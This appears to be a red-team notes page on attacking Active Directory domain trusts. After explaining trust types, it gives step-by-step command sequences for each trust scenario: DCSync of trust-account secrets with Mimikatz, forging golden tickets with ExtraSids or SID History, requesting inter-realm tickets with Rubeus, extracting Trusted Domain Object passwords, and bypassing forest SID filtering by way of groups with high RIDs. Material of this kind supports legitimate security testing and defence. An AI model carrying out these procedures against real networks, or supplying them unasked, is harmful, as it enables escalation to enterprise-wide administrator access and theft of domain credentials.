Domain Trusts

Introduction

In Active Directory, a domain trust is a relationship between two domains that allows users in one domain to access resources in the other domain.

There are two types of domain trusts in Active Directory: one-way trusts and two-way trusts.

A one-way trust allows users in one domain (the trusted domain) to access resources in another domain (the trusting domain), but not the other way around. For example, if Domain A trusts Domain B, users in Domain B can access resources in Domain A, but users in Domain A cannot access resources in Domain B.

A two-way trust allows users in both domains to access resources in the other domain. For example, if Domain A trusts Domain B and Domain B trusts Domain A, users in both domains can access resources in the other domain.

To establish a domain trust, an administrator in the trusting domain must create a trust relationship with the trusted domain. The administrator in the trusted domain must then approve the trust relationship. Once the trust relationship is established, users in the trusted domain can access resources in the trusting domain, subject to any permissions and access controls that are in place.

Enumeration

You can find the enumeration commands in this link.

Bidirectional (Extra SID)

In a valid scenario, a user originating from Domain A, equipped with ExtraSids assigned from Domain B, can gain access to content within the trusted domain based on the group memberships to which the ExtraSids are mapped.

The implementation of Kerberos authentication across domains relies on the utilization of the trust key. Since Domain B lacks knowledge of the password hash in Domain A, decrypting a Ticket Granting Ticket (TGT) transmitted from Domain A to Domain B becomes impossible. This challenge is addressed through a shared secret, established during the trust configuration process.

Upon the establishment of domain trust, a new computer account is generated, bearing the name of the trusted domain. In the case of prod.corp1.com, this computer account is denoted as corp1$, also known as the trust account. The shared secret is essentially the password hash of corp1$.

In the context of a bi-directional trust, such as that between parent and child domains, both prod.corp1.com and corp1.com create their respective trust accounts. The account within corp1.com is named prod$, aligning with the trusted domain, but both prod$ and corp1$ share the same password hash.

1. Obtain the shared secret between domains to encrypt the TGT

.\mimikatz.exe "lsadump::dcsync /domain:prod.corp1.com /user:corp1$" "exit"

2. Obtain the SID of each domain. You can use PowerView.

Get-DomainSID -Domain <CURRENT-DOMAIN>
Get-DomainSid -Domain <TARGET-DOMAIN>

3. Obtain the RID of the Enterprise Admins group (Static value: DOMAIN SID + 519)

4. Create the golden ticket. You can use Mimikatz.

We’ll supply the username inside prod.corp1.com (which does not have to be valid), the origin domain (/domain), the origin domain SID (/sid), the krbtgt password hash (/krbtgt), and finally, the ExtraSid value (Enterprise Admins SID) through the /sids: option.

ℹ️ The /sids attribute is a combination of foreign domain SID and the foreign identity in our case "Enterprise Admins" (519).

"kerberos::golden /user:Administrator /domain:<CURRENT_DOMAIN> /sid:<CURRENT_DOMAIN_SID> /krbtgt:<KRBTGT_NTLM> /sids:<<TARGET_DOMAIN_SID>-<TARGET_IDENTITY_SID> /ptt" "exit"

5. Check access to the target computer.

ls \\<COMPUTER>\C$
c:\tools\SysinternalsSuite\PsExec.exe /accepteula \\<COMPUTER> cmd

Bidirectional (Parent-Child)

When a child domain is added to a forest, it automatically creates a transitive, two-way trust with its parent.

ℹ️SourceName is the current domain, TargetName is the foreign domain, TrustDirection is the trust direction (bidirectional is two-way), and TrustAttribute WITHIN_FOREST lets us know that both of these domains are part of the same forest which implies a parent/child relationship.

Get-DomainTrust

SourceName      : dev.capsulecorp.local
TargetName      : capsulecorp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 8/15/2022 4:00:00 PM
WhenChanged     : 8/15/2022 4:00:00 PM

In order to gain Domain Admin Privileges in the parent domain, you need to create a TGT with a particular attribute called SID History. SID History was designed to support migration scenarios, where a user would be moved from one domain to another. To preserve access to resources in the "old" domain, the user's previous SID would be added to the SID History of their new account. When creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in the parent domain can be added so it will grant access to all resources in the parent.

⚠️You must be Domain Admin in the Child Domain to exploit this feature.

The only difference between creating a normal and a transitive one is that you need to add the SID of a target group in the parent domain.

1. Obtain the SID of a group with admin privileges in the parent domain.

Get-DomainGroup -Identity "Domain Admins" -Domain <PARENT_DOMAIN> -Properties ObjectSid

2. Obtain a Domain Administrator in the parent to impersonate.

Get-DomainGroupMember -Identity "Domain Admins" -Domain <PARENT_DOMAIN> | select MemberName

3. Create a Golden Ticket

ℹ️The easiest way to obtain the <KERBEROS_KRBTGT> is by performing a domain DSync.

.\Rubeus.exe golden /aes256:<KERBEROS_KRBTGT> /user:<ADMINISTRATOR> /domain:<CHILD_DOMAIN> /sid:<CHILD_DOMAIN_SID> /sids:<SID_FROM_FIRST_COMMAND> /nowrap

4. Import the ticket to a new process

.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<CHILD_DOMAIN> /username:<IMPERSONATE_ADMIN> /password:FakePass123 /ticket:<TICKET_OBTAINED_PREVIOUSLY>

5. Check that you can access the parent DC.

# Obtain the parent DC
Get-DomainController -Domain <PARENT_DOMAIN> | select Name
ls \\<PARENT_DOMAIN>\c$

One-Way Inbound

If the trust is inbound from your perspective, it means that principals in your domain can be granted with access to other resources in the foreign domain.

1. Enumerate groups with foreign domain principals (it can be groups or users)

Get-DomainForeignGroupMember -Domain <TARGET_DOMAIN>
ConvertFrom-SID <MemberName>

2. If it is a group, search for its members.

Get-DomainGroupMember -Identity <MemberName> | select MemberName

3. Create a TGT for the target user.

ℹ️It can be done in several ways, but I am using this one.

.\Rubeus.exe asktgt /nowrap /user:<DA_USER> /domain:<CURRENT_DOMAIN> /aes256:<DA_USER_ECNRYPTION_KEY>

4. Request a referral ticket from the current domain to the target domain

.\Rubeus.exe asktgs /nowrap /service:krbtgt/<FOREIGN_DOMAIN> /domain:<CURRENT_DOMAIN> /dc:<CURRENT_DOMAIN_DC> /ticket:<TICKET>

5. Use this inter-realm ticket to request TGS's in the foreign domain

.\Rubeus.exe asktgs /nowrap /service:cifs/<FOREIGN_WKST> /domain:<FOREIGN_DOMAIN> /dc:<FOREIGN_DC> /ticket:<TICKET>

One-Way Outbound

Remember that if Domain A trusts Domain B, users in Domain B can access resources in Domain A; but users in Domain A should not be able to access resources in Domain B.

Nonetheless, sometimes there is a possibility to become a domain user. To do so, you need to obtain the shared password between domains in a Trusted Domain Object (TDO).

⚠️ This password changes every 30 days by default.

1. Read the system container through LDAP.

.\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain <CURRENT_DOMAIN> --attributes distinguishedName,name,flatName,trustDirection

2. Perform a DCSync of TDO's GUID.

ℹ️The passwords are listed from newer "[Out]" to older "[Out-X]".

Get-DomainObject -Identity "<FOREIGN_DOMAIN_distinguishedName>" | select objectGuid

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<CURRENT_DOMAIN> /guid:<objectGuid>"'

3. Enumerate the domain accounts looking for the trusted account of the foreign domain.

4. Create a TGT with the trusted account to impersonate it.

.\Rubeus.exe asktgt /user:<TRUSTED_ACCOUNT>$ /domain:<FOREIGN_DOMAIN> /rc4:<PREVIOUSLY_OBTAINED_KEY>

Forest trust - Extra SID

The implementation of SID filtering is a key element introduced by forest trust. In the context of forest trust, the ExtraSids field are filtered so group memberships are not blindly trusted. Thus, the attack show on Bidirection (Extra SID) will not work.

Microsoft dictated that any SID with a RID less than 1000 will always be filtered regardless of the SID history setting. Nevertheless, a SID with a Relative Identifier (RID) equal to or exceeding 1000 remains unfiltered in the case of an external trust. Any non-default group invariably possesses a RID surpassing 1000. Identifying a custom group with membership that could potentially compromise a user or computer provides a viable entry point.

To exploit this configuration, follow these steps.

1 . Check if ISD history is enabled on your target domain.

ℹ️ To find a forest that has SID History enabled should appear the value "TREAT_AS_EXTERNAL" at the attribute "TrustAttributes".

Get-DomainTrust -Domain <TARGET>

2. Enumerate members of the target domain built-in Administrators group.

Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com | select MemberName,MemberSID
# Alternatively you can enumare other groups
Get-DomainForeignGroupMember -Domain <TARGET_DOMAIN> | select GroupName,MemberName
ConvertFrom-SID <MemberName>

3. Craft a golden ticket as in but Bidirection (Extra SID) using the SID of the foreign group as /sids.

Last updated